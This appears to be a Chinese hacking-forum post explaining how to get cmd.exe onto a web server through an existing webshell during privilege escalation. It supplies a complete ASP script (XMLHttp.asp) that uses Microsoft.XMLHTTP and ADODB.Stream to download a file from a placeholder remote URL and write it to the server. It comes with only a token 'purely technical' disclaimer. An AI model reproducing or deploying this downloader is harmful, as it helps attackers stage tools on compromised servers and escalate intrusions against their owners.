提权时遇到上传cmd.exe缺少对象无法上传的解决办法

在群里有内蒙的一个朋友丢过来一个webshell，pr4。

很久都不碰这些东西了

没有要破坏的任何意思

纯技术的

开了3389

支持执行组件

但是传cmd.exe无法成功

查了查

找到一个解决办法，将下面的内容保存为XMLHttp.asp

执行，那叫一个爽

说明:
================================================  
作用：保存远程的文件到本地
参数： LocalFileName  ----本地文件名
           RemoteFileUrl   ----远程文件URL
返回值： True----成功
              False----失败
================================================
把下面的代码保存为XMLHttp.asp即可.记得看说明.readme!
 
<%  
Sub  eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim  Ads,  Retrieval,   GetRemoteData
On  Error  Resume   Next
Set  Retrieval  =  Server.CreateObject("Microsoft.XMLHTTP")
With   Retrieval
.Open  "Get",  s_RemoteFileUrl,  False,  "",   ""
.Send
GetRemoteData  =   .ResponseBody
End   With
Set  Retrieval  =   Nothing
Set  Ads  =  Server.CreateObject("Adodb.Stream")
With   Ads
.Type  =   1
.Open
.Write   GetRemoteData
.SaveToFile  Server.MapPath(s_LocalFileName),  2
.Cancel()
.Close()
End   With
Set   Ads=nothing
End   Sub
eWebEditor_SaveRemoteFile"CMD.exe","http://www.xxx.com/CMD.exe"
%>